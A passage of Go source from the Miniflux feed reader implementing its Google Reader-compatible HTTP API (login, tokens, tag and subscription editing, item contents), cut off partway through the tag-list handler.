    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage googlereader // import \"miniflux.app/v2/internal/googlereader\"\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"log/slog\"\n\t\"net/http\"\n\t\"strconv\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/integration\"\n\t\"miniflux.app/v2/internal/mediaproxy\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/proxyrotator\"\n\t\"miniflux.app/v2/internal/reader/fetcher\"\n\tmff \"miniflux.app/v2/internal/reader/handler\"\n\tmfs \"miniflux.app/v2/internal/reader/subscription\"\n\t\"miniflux.app/v2/internal/storage\"\n\t\"miniflux.app/v2/internal/urllib\"\n\t\"miniflux.app/v2/internal/validator\"\n)\n\nvar (\n\terrEmptyFeedTitle   = errors.New(\"googlereader: empty feed title\")\n\terrFeedNotFound     = errors.New(\"googlereader: feed not found\")\n\terrCategoryNotFound = errors.New(\"googlereader: category not found\")\n\terrSimultaneously   = fmt.Errorf(\"googlereader: %s and %s should not be supplied simultaneously\", keptUnreadStreamSuffix, readStreamSuffix)\n)\n\n// NewHandler returns an http.Handler that handles Google Reader API calls.\n// The returned handler expects the base path to be stripped from the request URL.\nfunc NewHandler(store *storage.Storage) http.Handler {\n\th := &greaderHandler{\n\t\tstore: store,\n\t}\n\n\tauthMiddleware := newAuthMiddleware(store)\n\twithApiKeyAuth := func(fn http.HandlerFunc) http.Handler {\n\t\treturn authMiddleware.validateApiKey(fn)\n\t}\n\n\tmux := http.NewServeMux()\n\tmux.HandleFunc(\"POST /accounts/ClientLogin\", h.clientLoginHandler)\n\tmux.Handle(\"GET /reader/api/0/token\", withApiKeyAuth(h.tokenHandler))\n\tmux.Handle(\"POST /reader/api/0/edit-tag\", withApiKeyAuth(h.editTagHandler))\n\tmux.Handle(\"POST /reader/api/0/rename-tag\", withApiKeyAuth(h.renameTagHandler))\n\tmux.Handle(\"POST /reader/api/0/disable-tag\", withApiKeyAuth(h.disableTagHandler))\n\tmux.Handle(\"GET /reader/api/0/tag/list\", withApiKeyAuth(h.tagListHandler))\n\tmux.Handle(\"GET /reader/api/0/user-info\", withApiKeyAuth(h.userInfoHandler))\n\tmux.Handle(\"GET /reader/api/0/subscription/list\", withApiKeyAuth(h.subscriptionListHandler))\n\tmux.Handle(\"POST /reader/api/0/subscription/edit\", withApiKeyAuth(h.editSubscriptionHandler))\n\tmux.Handle(\"POST /reader/api/0/subscription/quickadd\", withApiKeyAuth(h.quickAddHandler))\n\tmux.Handle(\"GET /reader/api/0/stream/items/ids\", withApiKeyAuth(h.streamItemIDsHandler))\n\tmux.Handle(\"POST /reader/api/0/stream/items/contents\", withApiKeyAuth(h.streamItemContentsHandler))\n\tmux.Handle(\"POST /reader/api/0/mark-all-as-read\", withApiKeyAuth(h.markAllAsReadHandler))\n\tmux.Handle(\"GET /reader/api/0/\", withApiKeyAuth(h.fallbackHandler))\n\tmux.Handle(\"POST /reader/api/0/\", withApiKeyAuth(h.fallbackHandler))\n\n\treturn mux\n}\n\ntype greaderHandler struct {\n\tstore *storage.Storage\n}\n\nfunc (h *greaderHandler) clientLoginHandler(w http.ResponseWriter, r *http.Request) {\n\tclientIP := request.ClientIP(r)\n\n\tslog.Debug(\"[GoogleReader] Handle /accounts/ClientLogin\",\n\t\tslog.String(\"handler\", \"clientLoginHandler\"),\n\t\tslog.String(\"client_ip\", clientIP),\n\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t)\n\n\tif err := r.ParseForm(); err != nil {\n\t\tslog.Warn(\"[GoogleReader] Could not parse request form data\",\n\t\t\tslog.Bool(\"authentication_failed\", true),\n\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\tslog.Any(\"error\", err),\n\t\t)\n\t\tresponse.JSONUnauthorized(w, r)\n\t\treturn\n\t}\n\n\tusername := r.Form.Get(\"Email\")\n\tpassword := r.Form.Get(\"Passwd\")\n\toutput := r.Form.Get(\"output\")\n\n\tif username == \"\" || password == \"\" {\n\t\tslog.Warn(\"[GoogleReader] Empty username or password\",\n\t\t\tslog.Bool(\"authentication_failed\", true),\n\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t)\n\t\tresponse.JSONUnauthorized(w, r)\n\t\treturn\n\t}\n\n\tif err := h.store.GoogleReaderUserCheckPassword(username, password); err != nil {\n\t\tslog.Warn(\"[GoogleReader] Invalid username or password\",\n\t\t\tslog.Bool(\"authentication_failed\", true),\n\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\tslog.String(\"username\", username),\n\t\t\tslog.Any(\"error\", err),\n\t\t)\n\t\tresponse.JSONUnauthorized(w, r)\n\t\treturn\n\t}\n\n\tslog.Info(\"[GoogleReader] User authenticated successfully\",\n\t\tslog.Bool(\"authentication_successful\", true),\n\t\tslog.String(\"client_ip\", clientIP),\n\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\tslog.String(\"username\", username),\n\t)\n\n\tintegration, err := h.store.GoogleReaderUserGetIntegration(username)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\th.store.SetLastLogin(integration.UserID)\n\n\ttoken := getAuthToken(integration.GoogleReaderUsername, integration.GoogleReaderPassword)\n\tslog.Debug(\"[GoogleReader] Created token\",\n\t\tslog.String(\"client_ip\", clientIP),\n\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\tslog.String(\"username\", username),\n\t)\n\n\tresult := loginResponse{SID: token, LSID: token, Auth: token}\n\tif output == \"json\" {\n\t\tresponse.JSON(w, r, result)\n\t\treturn\n\t}\n\n\tresponse.Text(w, r, result.String())\n}\n\nfunc (h *greaderHandler) tokenHandler(w http.ResponseWriter, r *http.Request) {\n\tclientIP := request.ClientIP(r)\n\n\tslog.Debug(\"[GoogleReader] Handle /token\",\n\t\tslog.String(\"handler\", \"tokenHandler\"),\n\t\tslog.String(\"client_ip\", clientIP),\n\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t)\n\n\tif !request.IsAuthenticated(r) {\n\t\tslog.Warn(\"[GoogleReader] User is not authenticated\",\n\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t)\n\t\tresponse.JSONUnauthorized(w, r)\n\t\treturn\n\t}\n\n\ttoken := request.GoogleReaderToken(r)\n\tif token == \"\" {\n\t\tslog.Warn(\"[GoogleReader] User does not have token\",\n\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\tslog.Int64(\"user_id\", request.UserID(r)),\n\t\t)\n\t\tresponse.JSONUnauthorized(w, r)\n\t\treturn\n\t}\n\n\tslog.Debug(\"[GoogleReader] Token handler\",\n\t\tslog.String(\"client_ip\", clientIP),\n\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\tslog.Int64(\"user_id\", request.UserID(r)),\n\t)\n\n\tresponse.Text(w, r, token)\n}\n\nfunc (h *greaderHandler) editTagHandler(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.UserID(r)\n\tclientIP := request.ClientIP(r)\n\n\tslog.Debug(\"[GoogleReader] Handle /edit-tag\",\n\t\tslog.String(\"handler\", \"editTagHandler\"),\n\t\tslog.String(\"client_ip\", clientIP),\n\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\tslog.Int64(\"user_id\", userID),\n\t)\n\n\tif err := r.ParseForm(); err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\taddTags, err := getStreams(r.PostForm[paramTagsAdd], userID)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\tremoveTags, err := getStreams(r.PostForm[paramTagsRemove], userID)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\tif len(addTags) == 0 && len(removeTags) == 0 {\n\t\terr = errors.New(\"googlreader: add or/and remove tags should be supplied\")\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\ttags, err := checkAndSimplifyTags(addTags, removeTags)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\titemIDs, err := parseItemIDsFromRequest(r)\n\tif err != nil {\n\t\tresponse.JSONBadRequest(w, r, err)\n\t\treturn\n\t}\n\n\tslog.Debug(\"[GoogleReader] Edited tags\",\n\t\tslog.String(\"handler\", \"editTagHandler\"),\n\t\tslog.String(\"client_ip\", clientIP),\n\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\tslog.Int64(\"user_id\", userID),\n\t\tslog.Any(\"item_ids\", itemIDs),\n\t\tslog.Any(\"tags\", tags),\n\t)\n\n\tbuilder := h.store.NewEntryQueryBuilder(userID)\n\tbuilder.WithEntryIDs(itemIDs)\n\tbuilder.WithoutStatus(model.EntryStatusRemoved)\n\n\tentries, err := builder.GetEntries()\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tn := 0\n\treadEntryIDs := make([]int64, 0)\n\tunreadEntryIDs := make([]int64, 0)\n\tstarredEntryIDs := make([]int64, 0)\n\tunstarredEntryIDs := make([]int64, 0)\n\tfor _, entry := range entries {\n\t\tif read, exists := tags[ReadStream]; exists {\n\t\t\tif read && entry.Status == model.EntryStatusUnread {\n\t\t\t\treadEntryIDs = append(readEntryIDs, entry.ID)\n\t\t\t} else if entry.Status == model.EntryStatusRead {\n\t\t\t\tunreadEntryIDs = append(unreadEntryIDs, entry.ID)\n\t\t\t}\n\t\t}\n\t\tif starred, exists := tags[StarredStream]; exists {\n\t\t\tif starred && !entry.Starred {\n\t\t\t\tstarredEntryIDs = append(starredEntryIDs, entry.ID)\n\t\t\t\t// filter the original array\n\t\t\t\tentries[n] = entry\n\t\t\t\tn++\n\t\t\t} else if entry.Starred {\n\t\t\t\tunstarredEntryIDs = append(unstarredEntryIDs, entry.ID)\n\t\t\t}\n\t\t}\n\t}\n\tentries = entries[:n]\n\tif len(readEntryIDs) > 0 {\n\t\terr = h.store.SetEntriesStatus(userID, readEntryIDs, model.EntryStatusRead)\n\t\tif err != nil {\n\t\t\tresponse.JSONServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\t}\n\n\tif len(unreadEntryIDs) > 0 {\n\t\terr = h.store.SetEntriesStatus(userID, unreadEntryIDs, model.EntryStatusUnread)\n\t\tif err != nil {\n\t\t\tresponse.JSONServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\t}\n\n\tif len(unstarredEntryIDs) > 0 {\n\t\terr = h.store.SetEntriesStarredState(userID, unstarredEntryIDs, false)\n\t\tif err != nil {\n\t\t\tresponse.JSONServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\t}\n\n\tif len(starredEntryIDs) > 0 {\n\t\terr = h.store.SetEntriesStarredState(userID, starredEntryIDs, true)\n\t\tif err != nil {\n\t\t\tresponse.JSONServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\t}\n\n\tif len(entries) > 0 {\n\t\tsettings, err := h.store.Integration(userID)\n\t\tif err != nil {\n\t\t\tresponse.JSONServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\n\t\tfor _, entry := range entries {\n\t\t\te := entry\n\t\t\tgo func() {\n\t\t\t\tintegration.SendEntry(e, settings)\n\t\t\t}()\n\t\t}\n\t}\n\n\tresponse.Text(w, r, \"OK\")\n}\n\nfunc (h *greaderHandler) quickAddHandler(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.UserID(r)\n\tclientIP := request.ClientIP(r)\n\n\tslog.Debug(\"[GoogleReader] Handle /subscription/quickadd\",\n\t\tslog.String(\"handler\", \"quickAddHandler\"),\n\t\tslog.String(\"client_ip\", clientIP),\n\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\tslog.Int64(\"user_id\", userID),\n\t)\n\n\terr := r.ParseForm()\n\tif err != nil {\n\t\tresponse.JSONBadRequest(w, r, err)\n\t\treturn\n\t}\n\n\tfeedURL := r.Form.Get(paramQuickAdd)\n\tif !urllib.IsAbsoluteURL(feedURL) {\n\t\tresponse.JSONBadRequest(w, r, fmt.Errorf(\"googlereader: invalid URL: %s\", feedURL))\n\t\treturn\n\t}\n\n\trequestBuilder := fetcher.NewRequestBuilder()\n\trequestBuilder.WithTimeout(config.Opts.HTTPClientTimeout())\n\trequestBuilder.WithProxyRotator(proxyrotator.ProxyRotatorInstance)\n\n\tvar rssBridgeURL string\n\tvar rssBridgeToken string\n\tif intg, err := h.store.Integration(userID); err == nil && intg != nil && intg.RSSBridgeEnabled {\n\t\trssBridgeURL = intg.RSSBridgeURL\n\t\trssBridgeToken = intg.RSSBridgeToken\n\t}\n\n\tsubscriptions, localizedError := mfs.NewSubscriptionFinder(requestBuilder).FindSubscriptions(feedURL, rssBridgeURL, rssBridgeToken)\n\tif localizedError != nil {\n\t\tresponse.JSONServerError(w, r, localizedError.Error())\n\t\treturn\n\t}\n\n\tif len(subscriptions) == 0 {\n\t\tresponse.JSON(w, r, quickAddResponse{\n\t\t\tNumResults: 0,\n\t\t})\n\t\treturn\n\t}\n\n\ttoSubscribe := Stream{FeedStream, subscriptions[0].URL}\n\tcategory := Stream{NoStream, \"\"}\n\tnewFeed, err := subscribe(toSubscribe, category, \"\", h.store, userID)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tslog.Debug(\"[GoogleReader] Added a new feed\",\n\t\tslog.String(\"handler\", \"quickAddHandler\"),\n\t\tslog.String(\"client_ip\", clientIP),\n\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\tslog.Int64(\"user_id\", userID),\n\t\tslog.String(\"feed_url\", newFeed.FeedURL),\n\t)\n\n\tresponse.JSON(w, r, quickAddResponse{\n\t\tNumResults: 1,\n\t\tQuery:      newFeed.FeedURL,\n\t\tStreamID:   feedPrefix + strconv.FormatInt(newFeed.ID, 10),\n\t\tStreamName: newFeed.Title,\n\t})\n}\n\nfunc getFeed(stream Stream, store *storage.Storage, userID int64) (*model.Feed, error) {\n\tfeedID, err := strconv.ParseInt(stream.ID, 10, 64)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn store.FeedByID(userID, feedID)\n}\n\nfunc getOrCreateCategory(streamCategory Stream, store *storage.Storage, userID int64) (*model.Category, error) {\n\tswitch {\n\tcase streamCategory.ID == \"\":\n\t\treturn store.FirstCategory(userID)\n\tcase store.CategoryTitleExists(userID, streamCategory.ID):\n\t\treturn store.CategoryByTitle(userID, streamCategory.ID)\n\tdefault:\n\t\treturn store.CreateCategory(userID, &model.CategoryCreationRequest{\n\t\t\tTitle: streamCategory.ID,\n\t\t})\n\t}\n}\n\nfunc subscribe(newFeed Stream, category Stream, title string, store *storage.Storage, userID int64) (*model.Feed, error) {\n\tdestCategory, err := getOrCreateCategory(category, store, userID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfeedRequest := model.FeedCreationRequest{\n\t\tFeedURL:    newFeed.ID,\n\t\tCategoryID: destCategory.ID,\n\t}\n\tverr := validator.ValidateFeedCreation(store, userID, &feedRequest)\n\tif verr != nil {\n\t\treturn nil, verr.Error()\n\t}\n\n\tcreated, localizedError := mff.CreateFeed(store, userID, &feedRequest)\n\tif localizedError != nil {\n\t\treturn nil, localizedError.Error()\n\t}\n\n\tif title != \"\" {\n\t\tfeedModification := model.FeedModificationRequest{\n\t\t\tTitle: &title,\n\t\t}\n\t\tfeedModification.Patch(created)\n\t\tif err := store.UpdateFeed(created); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn created, nil\n}\n\nfunc unsubscribe(streams []Stream, store *storage.Storage, userID int64) error {\n\tfor _, stream := range streams {\n\t\tfeedID, err := strconv.ParseInt(stream.ID, 10, 64)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\terr = store.RemoveFeed(userID, feedID)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc rename(feedStream Stream, title string, store *storage.Storage, userID int64) error {\n\tslog.Debug(\"[GoogleReader] Renaming feed\",\n\t\tslog.Int64(\"user_id\", userID),\n\t\tslog.Any(\"feed_stream\", feedStream),\n\t\tslog.String(\"new_title\", title),\n\t)\n\n\tif title == \"\" {\n\t\treturn errEmptyFeedTitle\n\t}\n\n\tfeed, err := getFeed(feedStream, store, userID)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif feed == nil {\n\t\treturn errFeedNotFound\n\t}\n\n\tfeedModification := model.FeedModificationRequest{\n\t\tTitle: &title,\n\t}\n\tfeedModification.Patch(feed)\n\treturn store.UpdateFeed(feed)\n}\n\nfunc move(feedStream Stream, labelStream Stream, store *storage.Storage, userID int64) error {\n\tslog.Debug(\"[GoogleReader] Moving feed\",\n\t\tslog.Int64(\"user_id\", userID),\n\t\tslog.Any(\"feed_stream\", feedStream),\n\t\tslog.Any(\"label_stream\", labelStream),\n\t)\n\n\tfeed, err := getFeed(feedStream, store, userID)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif feed == nil {\n\t\treturn errFeedNotFound\n\t}\n\n\tcategory, err := getOrCreateCategory(labelStream, store, userID)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif category == nil {\n\t\treturn errCategoryNotFound\n\t}\n\n\tfeedModification := model.FeedModificationRequest{\n\t\tCategoryID: &category.ID,\n\t}\n\tfeedModification.Patch(feed)\n\treturn store.UpdateFeed(feed)\n}\n\nfunc (h *greaderHandler) feedIconURL(f *model.Feed) string {\n\tif f.Icon != nil && f.Icon.ExternalIconID != \"\" {\n\t\treturn config.Opts.BaseURL() + \"/feed-icon/\" + f.Icon.ExternalIconID\n\t}\n\treturn \"\"\n}\n\nfunc (h *greaderHandler) editSubscriptionHandler(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.UserID(r)\n\tclientIP := request.ClientIP(r)\n\n\tslog.Debug(\"[GoogleReader] Handle /subscription/edit\",\n\t\tslog.String(\"handler\", \"editSubscriptionHandler\"),\n\t\tslog.String(\"client_ip\", clientIP),\n\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\tslog.Int64(\"user_id\", userID),\n\t)\n\n\tif err := r.ParseForm(); err != nil {\n\t\tresponse.JSONBadRequest(w, r, err)\n\t\treturn\n\t}\n\n\tstreamIds, err := getStreams(r.Form[paramStreamID], userID)\n\tif err != nil || len(streamIds) == 0 {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"googlereader: no valid stream IDs provided\"))\n\t\treturn\n\t}\n\n\tnewLabel, err := getStream(r.Form.Get(paramTagsAdd), userID)\n\tif err != nil {\n\t\tresponse.JSONBadRequest(w, r, fmt.Errorf(\"googlereader: invalid data in %s\", paramTagsAdd))\n\t\treturn\n\t}\n\n\ttitle := r.Form.Get(paramTitle)\n\taction := r.Form.Get(paramSubscribeAction)\n\n\tswitch action {\n\tcase \"subscribe\":\n\t\t_, err := subscribe(streamIds[0], newLabel, title, h.store, userID)\n\t\tif err != nil {\n\t\t\tresponse.JSONServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\tcase \"unsubscribe\":\n\t\terr := unsubscribe(streamIds, h.store, userID)\n\t\tif err != nil {\n\t\t\tresponse.JSONServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\tcase \"edit\":\n\t\tif title != \"\" {\n\t\t\tif err := rename(streamIds[0], title, h.store, userID); err != nil {\n\t\t\t\tif errors.Is(err, errFeedNotFound) || errors.Is(err, errEmptyFeedTitle) {\n\t\t\t\t\tresponse.JSONBadRequest(w, r, err)\n\t\t\t\t} else {\n\t\t\t\t\tresponse.JSONServerError(w, r, err)\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\tif r.Form.Has(paramTagsAdd) {\n\t\t\tif newLabel.Type != LabelStream {\n\t\t\t\tresponse.JSONBadRequest(w, r, errors.New(\"destination must be a label\"))\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tif err := move(streamIds[0], newLabel, h.store, userID); err != nil {\n\t\t\t\tif errors.Is(err, errFeedNotFound) || errors.Is(err, errCategoryNotFound) {\n\t\t\t\t\tresponse.JSONBadRequest(w, r, err)\n\t\t\t\t} else {\n\t\t\t\t\tresponse.JSONServerError(w, r, err)\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\tdefault:\n\t\tresponse.JSONBadRequest(w, r, fmt.Errorf(\"googlereader: unrecognized action %s\", action))\n\t\treturn\n\t}\n\n\tresponse.Text(w, r, \"OK\")\n}\n\nfunc (h *greaderHandler) streamItemContentsHandler(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.UserID(r)\n\tuserName := request.UserName(r)\n\tclientIP := request.ClientIP(r)\n\n\tslog.Debug(\"[GoogleReader] Handle /stream/items/contents\",\n\t\tslog.String(\"handler\", \"streamItemContentsHandler\"),\n\t\tslog.String(\"client_ip\", clientIP),\n\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\tslog.Int64(\"user_id\", userID),\n\t)\n\n\tif err := checkOutputFormat(r); err != nil {\n\t\tresponse.JSONBadRequest(w, r, err)\n\t\treturn\n\t}\n\n\terr := r.ParseForm()\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\trequestModifiers, err := parseStreamFilterFromRequest(r)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tstreamPrefix := fmt.Sprintf(userStreamPrefix, userID)\n\tuserReadingList := streamPrefix + readingListStreamSuffix\n\tuserRead := streamPrefix + readStreamSuffix\n\tuserStarred := streamPrefix + starredStreamSuffix\n\n\titemIDs, err := parseItemIDsFromRequest(r)\n\tif err != nil {\n\t\tresponse.JSONBadRequest(w, r, err)\n\t\treturn\n\t}\n\n\tslog.Debug(\"[GoogleReader] Fetching item contents\",\n\t\tslog.String(\"handler\", \"streamItemContentsHandler\"),\n\t\tslog.String(\"client_ip\", clientIP),\n\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\tslog.Int64(\"user_id\", userID),\n\t\tslog.Any(\"item_ids\", itemIDs),\n\t)\n\n\tbuilder := h.store.NewEntryQueryBuilder(userID)\n\tbuilder.WithEnclosures()\n\tbuilder.WithoutStatus(model.EntryStatusRemoved)\n\tbuilder.WithEntryIDs(itemIDs)\n\tbuilder.WithSorting(model.DefaultSortingOrder, requestModifiers.SortDirection)\n\n\tentries, err := builder.GetEntries()\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresult := streamContentItemsResponse{\n\t\tDirection: \"ltr\",\n\t\tID:        \"user/-/state/com.google/reading-list\",\n\t\tTitle:     \"Reading List\",\n\t\tUpdated:   time.Now().Unix(),\n\t\tSelf: []contentHREF{{\n\t\t\tHREF: config.Opts.BaseURL() + \"/reader/api/0/stream/items/contents\",\n\t\t}},\n\t\tAuthor: userName,\n\t\tItems:  make([]contentItem, len(entries)),\n\t}\n\n\tlabelPrefix := fmt.Sprintf(userLabelPrefix, userID)\n\tfor i, entry := range entries {\n\t\tenclosures := make([]contentItemEnclosure, 0, len(entry.Enclosures))\n\t\tfor _, enclosure := range entry.Enclosures {\n\t\t\tenclosures = append(enclosures, contentItemEnclosure{URL: enclosure.URL, Type: enclosure.MimeType})\n\t\t}\n\t\tcategories := make([]string, 0, 4)\n\t\tcategories = append(categories, userReadingList)\n\t\tif entry.Feed.Category.Title != \"\" {\n\t\t\tcategories = append(categories, labelPrefix+entry.Feed.Category.Title)\n\t\t}\n\t\tif entry.Status == model.EntryStatusRead {\n\t\t\tcategories = append(categories, userRead)\n\t\t}\n\n\t\tif entry.Starred {\n\t\t\tcategories = append(categories, userStarred)\n\t\t}\n\n\t\tentry.Content = mediaproxy.RewriteDocumentWithAbsoluteProxyURL(entry.Content)\n\t\tentry.Enclosures.ProxifyEnclosureURL(config.Opts.MediaProxyMode(), config.Opts.MediaProxyResourceTypes())\n\n\t\tresult.Items[i] = contentItem{\n\t\t\tID:            convertEntryIDToLongFormItemID(entry.ID),\n\t\t\tTitle:         entry.Title,\n\t\t\tAuthor:        entry.Author,\n\t\t\tTimestampUsec: strconv.FormatInt(entry.Date.UnixMicro(), 10),\n\t\t\tCrawlTimeMsec: strconv.FormatInt(entry.CreatedAt.UnixMilli(), 10),\n\t\t\tPublished:     entry.Date.Unix(),\n\t\t\tUpdated:       entry.ChangedAt.Unix(),\n\t\t\tCategories:    categories,\n\t\t\tCanonical: []contentHREF{\n\t\t\t\t{\n\t\t\t\t\tHREF: entry.URL,\n\t\t\t\t},\n\t\t\t},\n\t\t\tAlternate: []contentHREFType{\n\t\t\t\t{\n\t\t\t\t\tHREF: entry.URL,\n\t\t\t\t\tType: \"text/html\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tContent: contentItemContent{\n\t\t\t\tDirection: \"ltr\",\n\t\t\t\tContent:   entry.Content,\n\t\t\t},\n\t\t\tSummary: contentItemContent{\n\t\t\t\tDirection: \"ltr\",\n\t\t\t\tContent:   entry.Content,\n\t\t\t},\n\t\t\tOrigin: contentItemOrigin{\n\t\t\t\tStreamID: feedPrefix + strconv.FormatInt(entry.FeedID, 10),\n\t\t\t\tTitle:    entry.Feed.Title,\n\t\t\t\tHTMLUrl:  entry.Feed.SiteURL,\n\t\t\t},\n\t\t\tEnclosure: enclosures,\n\t\t}\n\t}\n\n\tresponse.JSON(w, r, result)\n}\n\nfunc (h *greaderHandler) disableTagHandler(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.UserID(r)\n\tclientIP := request.ClientIP(r)\n\n\tslog.Debug(\"[GoogleReader] Handle /disable-tags\",\n\t\tslog.String(\"handler\", \"disableTagHandler\"),\n\t\tslog.String(\"client_ip\", clientIP),\n\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\tslog.Int64(\"user_id\", userID),\n\t)\n\n\terr := r.ParseForm()\n\tif err != nil {\n\t\tresponse.JSONBadRequest(w, r, err)\n\t\treturn\n\t}\n\n\tstreams, err := getStreams(r.Form[paramStreamID], userID)\n\tif err != nil {\n\t\tresponse.JSONBadRequest(w, r, fmt.Errorf(\"googlereader: invalid data in %s\", paramStreamID))\n\t\treturn\n\t}\n\n\ttitles := make([]string, len(streams))\n\tfor i, stream := range streams {\n\t\tif stream.Type != LabelStream {\n\t\t\tresponse.JSONBadRequest(w, r, errors.New(\"googlereader: only labels are supported\"))\n\t\t\treturn\n\t\t}\n\t\ttitles[i] = stream.ID\n\t}\n\n\terr = h.store.RemoveAndReplaceCategoriesByName(userID, titles)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.Text(w, r, \"OK\")\n}\n\nfunc (h *greaderHandler) renameTagHandler(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.UserID(r)\n\tclientIP := request.ClientIP(r)\n\n\tslog.Debug(\"[GoogleReader] Handle /rename-tag\",\n\t\tslog.String(\"handler\", \"renameTagHandler\"),\n\t\tslog.String(\"client_ip\", clientIP),\n\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t)\n\n\terr := r.ParseForm()\n\tif err != nil {\n\t\tresponse.JSONBadRequest(w, r, err)\n\t\treturn\n\t}\n\n\tsource, err := getStream(r.Form.Get(paramStreamID), userID)\n\tif err != nil {\n\t\tresponse.JSONBadRequest(w, r, fmt.Errorf(\"googlereader: invalid data in %s\", paramStreamID))\n\t\treturn\n\t}\n\n\tdestination, err := getStream(r.Form.Get(paramDestination), userID)\n\tif err != nil {\n\t\tresponse.JSONBadRequest(w, r, fmt.Errorf(\"googlereader: invalid data in %s\", paramDestination))\n\t\treturn\n\t}\n\n\tif source.Type != LabelStream || destination.Type != LabelStream {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"googlereader: only labels supported\"))\n\t\treturn\n\t}\n\n\tif destination.ID == \"\" {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"googlereader: empty destination name\"))\n\t\treturn\n\t}\n\n\tcategory, err := h.store.CategoryByTitle(userID, source.ID)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\tif category == nil {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tcategoryModificationRequest := model.CategoryModificationRequest{\n\t\tTitle: new(destination.ID),\n\t}\n\n\tif validationError := validator.ValidateCategoryModification(h.store, userID, category.ID, &categoryModificationRequest); validationError != nil {\n\t\tresponse.JSONBadRequest(w, r, validationError.Error())\n\t\treturn\n\t}\n\n\tcategoryModificationRequest.Patch(category)\n\n\tif err := h.store.UpdateCategory(category); err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.Text(w, r, \"OK\")\n}\n\nfunc (h *greaderHandler) tagListHandler(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.UserID(r)\n\tclientIP := request.ClientIP(r)\n\n\tslog.Debug(\"[GoogleReader] Handle /tags/list\",\n\t\tslog.String(\"handler\", \"tagListHandler\"),\n\t\tslog.String(\"client_ip\", clientIP),\n\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t)\n\n\tif err := checkOutputFormat(r); err != nil {\n\t\tresponse.JSONBadRequest(w, r, err)\n\t\treturn\n\t}\n\n\tvar result tagsResponse\n\tcategories, 